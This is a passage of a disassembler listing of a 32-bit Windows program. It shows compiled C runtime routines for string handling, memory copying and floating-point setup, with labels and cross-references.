		test	dl, dl
		jz	short loc_41C978
		test	dh, dh
		jz	short loc_41C96F
		test	edx, 0FF0000h
		jz	short loc_41C962
		test	edx, 0FF000000h
		jz	short loc_41C95A
		jmp	short loc_41C921
; ---------------------------------------------------------------------------


loc_41C95A:				; CODE XREF: sub_41C8A0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C962:				; CODE XREF: sub_41C8A0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C96F:				; CODE XREF: sub_41C8A0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C978:				; CODE XREF: sub_41C8A0+72j
					; sub_41C8A0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C8A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C990


loc_41C980:				; CODE XREF: sub_41C990+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C990
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C990	proc near		; CODE XREF: sub_401ACD+412p
					; sub_401ACD+4B9p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C996:				; CODE XREF: sub_41C2E0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C9BB


loc_41C9A8:				; CODE XREF: sub_41C990+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C980
		test	cl, cl
		jz	short loc_41CA04
		test	edx, 3
		jnz	short loc_41C9A8


loc_41C9BB:				; CODE XREF: sub_41C990+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C9C6:				; CODE XREF: sub_41C990+61j
					; sub_41C990+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41CA08
		and	eax, 81010100h
		jz	short loc_41C9C6
		and	eax, 1010100h
		jnz	short loc_41CA02
		and	esi, 80000000h
		jnz	short loc_41C9C6


loc_41CA02:				; CODE XREF: sub_41C990+68j
					; sub_41C990+81j ...
		pop	esi
		pop	edi


loc_41CA04:				; CODE XREF: sub_41C990+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41CA08:				; CODE XREF: sub_41C990+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41CA45
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA3E
		test	ah, ah
		jz	short loc_41CA02
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41CA37
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA30
		test	ah, ah
		jz	short loc_41CA02
		jmp	short loc_41C9C6
; ---------------------------------------------------------------------------


loc_41CA30:				; CODE XREF: sub_41C990+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA37:				; CODE XREF: sub_41C990+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA3E:				; CODE XREF: sub_41C990+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA45:				; CODE XREF: sub_41C990+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41CA50	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41CA9C


loc_41CA60:				; CODE XREF: sub_41CA50+3Cj
					; sub_41CA50+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+3]
		jnz	short loc_41CA94
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41CA60
		mov	edi, edi


loc_41CA90:				; CODE XREF: sub_41CA50+18j
					; sub_41CA50+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA94:				; CODE XREF: sub_41CA50+14j
					; sub_41CA50+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA9C:				; CODE XREF: sub_41CA50+Ej
		test	edx, 1
		jz	short loc_41CAB8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41CA94
		inc	ecx
		or	al, al
		jz	short loc_41CA90
		test	edx, 2
		jz	short loc_41CA60


loc_41CAB8:				; CODE XREF: sub_41CA50+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		add	ecx, 2
		jmp	short loc_41CA60
sub_41CA50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAD4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41CAED:				; CODE XREF: sub_41CAD4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41CAED
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41CB15
		mov	edx, dword_4DBE28


loc_41CB15:				; CODE XREF: sub_41CAD4+39j
					; sub_41CAD4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41CB35
		test	al, al
		jz	short loc_41CB35
		inc	edx
		jmp	short loc_41CB15
; ---------------------------------------------------------------------------


loc_41CB35:				; CODE XREF: sub_41CAD4+58j
					; sub_41CAD4+5Cj
		mov	ebx, edx


loc_41CB37:				; CODE XREF: sub_41CAD4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41CB5B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41CB57
		inc	edx
		jmp	short loc_41CB37
; ---------------------------------------------------------------------------


loc_41CB57:				; CODE XREF: sub_41CAD4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41CB5B:				; CODE XREF: sub_41CAD4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DBE28, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41CAD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB70	proc near		; CODE XREF: sub_409823+1Cp
					; sub_415DAC+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41CBAE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41CBBB
; ---------------------------------------------------------------------------


loc_41CBAE:				; CODE XREF: sub_41CB70+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41CBBB:				; CODE XREF: sub_41CB70+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41CB70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBC0	proc near		; CODE XREF: sub_40ADE1+88p
					; sub_40B90E+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41CC74
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41CBEA


loc_41CBDB:				; CODE XREF: sub_41CBC0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41CC1B
		test	edi, 3
		jnz	short loc_41CBDB


loc_41CBEA:				; CODE XREF: sub_41CBC0+19j
					; sub_41CBC0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41CBEA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41CC28
		test	ah, ah
		jz	short loc_41CC23
		test	eax, 0FF0000h
		jz	short loc_41CC1E
		test	eax, 0FF000000h
		jnz	short loc_41CBEA


loc_41CC1B:				; CODE XREF: sub_41CBC0+20j
		dec	edi
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC1E:				; CODE XREF: sub_41CBC0+52j
		sub	edi, 2
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC23:				; CODE XREF: sub_41CBC0+4Bj
		sub	edi, 3
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC28:				; CODE XREF: sub_41CBC0+47j
		sub	edi, 4


loc_41CC2B:				; CODE XREF: sub_41CBC0+5Cj
					; sub_41CBC0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C
		jmp	short loc_41CC5C
; ---------------------------------------------------------------------------


loc_41CC40:				; CODE XREF: sub_41CBC0+75j
					; sub_41CBC0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41CC7A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41CC70
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C


loc_41CC5C:				; CODE XREF: sub_41CBC0+7Ej
					; sub_41CBC0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41CC70


loc_41CC63:				; CODE XREF: sub_41CBC0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41CC72
		dec	ecx
		jnz	short loc_41CC63


loc_41CC70:				; CODE XREF: sub_41CBC0+8Bj
					; sub_41CBC0+A1j
		mov	[edi], cl


loc_41CC72:				; CODE XREF: sub_41CBC0+ABj
		pop	ebx
		pop	esi


loc_41CC74:				; CODE XREF: sub_41CBC0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC7A:				; CODE XREF: sub_41CBC0+85j
					; sub_41CBC0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC84:				; CODE XREF: sub_41CBC0+E4j
					; sub_41CBC0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41CC5C


loc_41CC8C:				; CODE XREF: sub_41CBC0+7Cj
					; sub_41CBC0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41CC84
		test	dl, dl
		jz	short loc_41CC7A
		test	dh, dh
		jz	short loc_41CCD8
		test	edx, 0FF0000h
		jz	short loc_41CCC8
		test	edx, 0FF000000h
		jnz	short loc_41CC84
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCC8:				; CODE XREF: sub_41CBC0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCD8:				; CODE XREF: sub_41CBC0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41CBC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCE3	proc near		; CODE XREF: ___:0040B062p
					; sub_40C2AF+40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B9C0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420DB0
		add	esp, 10h
		leave
		retn
sub_41CCE3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD20	proc near		; CODE XREF: sub_40B13C+62p
					; sub_40B13C+6Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CD40
		cmp	edi, eax
		jb	loc_41CEB8


loc_41CD40:				; CODE XREF: sub_41CD20+16j
		test	edi, 3
		jnz	short loc_41CD5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------


loc_41CD5C:				; CODE XREF: sub_41CD20+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CD74
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CD74:				; CODE XREF: sub_41CD20+46j
		jmp	dword ptr loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD7C:				; CODE XREF: sub_41CD20+31j
					; sub_41CD20+8Ej ...
		jmp	off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 0CDh, 41h, 0
		dd offset loc_41CDBC
		dd offset loc_41CDE0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CDBC:				; DATA XREF: sub_41CD20+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CDE0:				; DATA XREF: sub_41CD20+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDFC	dd offset loc_41CE5F	; DATA XREF: sub_41CD20:loc_41CD7Cr
		dd offset loc_41CE4C
		dd offset loc_41CE44
		dd offset loc_41CE3C
		dd offset loc_41CE34
		dd offset loc_41CE2C
		dd offset loc_41CE24
		dd offset loc_41CE1C
; ---------------------------------------------------------------------------


loc_41CE1C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CE24:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CE2C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CE34:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CE3C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CE44:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CE4C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CE5F:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20:off_41CDFCo
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CE68	dd offset loc_41CE78	; DATA XREF: sub_41CD20+35r
					; sub_41CD20+92r ...
		dd offset loc_41CE80
		dd offset loc_41CE8C
		dd offset loc_41CEA0
; ---------------------------------------------------------------------------


loc_41CE78:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE80:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE8C:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CEA0:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CEB8:				; CODE XREF: sub_41CD20+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CEEC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CEE0:				; CODE XREF: sub_41CD20+1B1j
					; sub_41CD20+208j ...
		neg	ecx
		jmp	off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEEC:				; CODE XREF: sub_41CD20+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CF04
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CF04:				; CODE XREF: sub_41CD20+1D6j
					; DATA XREF: sub_41CD20+1DDr
		jmp	off_41D000[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
		cmp	bh, cl
		inc	ecx
		add	[eax-31h], ah
		inc	ecx


loc_41CF17:				; DATA XREF: sub_41CD20+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CFB4
		dd offset loc_41CFBC
		dd offset loc_41CFC4
		dd offset loc_41CFCC
		dd offset loc_41CFD4
		dd offset loc_41CFDC
		dd offset loc_41CFE4
off_41CFB0	dd offset loc_41CFF7	; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------


loc_41CFB4:				; DATA XREF: sub_41CD20+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CFBC:				; DATA XREF: sub_41CD20+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CFC4:				; DATA XREF: sub_41CD20+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CFCC:				; DATA XREF: sub_41CD20+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CFD4:				; DATA XREF: sub_41CD20+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CFDC:				; DATA XREF: sub_41CD20+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CFE4:				; DATA XREF: sub_41CD20+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CFF7:				; CODE XREF: sub_41CD20+1C2j
					; DATA XREF: sub_41CD20:off_41CFB0o
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D000	dd offset loc_41D010	; DATA XREF: sub_41CD20+1B7r
					; sub_41CD20:loc_41CF04r ...
		dd offset loc_41D018
		dd offset loc_41D028
		dd offset loc_41D03C
; ---------------------------------------------------------------------------


loc_41D010:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D018:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D028:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D03C:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CD20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D055(double)

sub_41D055	proc near		; CODE XREF: sub_40D2F4+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE10
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D0DB
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D0BE
		cmp	eax, 2
		jle	short loc_41D0B0
		cmp	eax, 3
		jnz	short loc_41D0BE
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0B0:				; CODE XREF: sub_41D055+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0BE:				; CODE XREF: sub_41D055+3Aj
					; sub_41D055+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41D118
; ---------------------------------------------------------------------------


loc_41D0DB:				; CODE XREF: sub_41D055+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D0FE


loc_41D0F0:				; CODE XREF: sub_41D055+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0FE:				; CODE XREF: sub_41D055+99j
		test	bl, 20h
		jnz	short loc_41D0F0
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41D118:				; CODE XREF: sub_41D055+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D120:				; CODE XREF: sub_41D055+59j
					; sub_41D055+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D055	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D124	proc near		; CODE XREF: ___:0041C16Dp
					; sub_422152+21p
					; DATA XREF: ...
		call	sub_41D13C
		call	sub_422152
		mov	dword_4DBE30, eax
		call	sub_422102
		fnclex
		retn
sub_41D124	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41D13C	proc near		; CODE XREF: sub_41D124p
		mov	eax, offset sub_422540
		mov	off_43D424, offset sub_4221D5
		mov	off_43D420, eax
		mov	off_43D428, offset sub_42223B
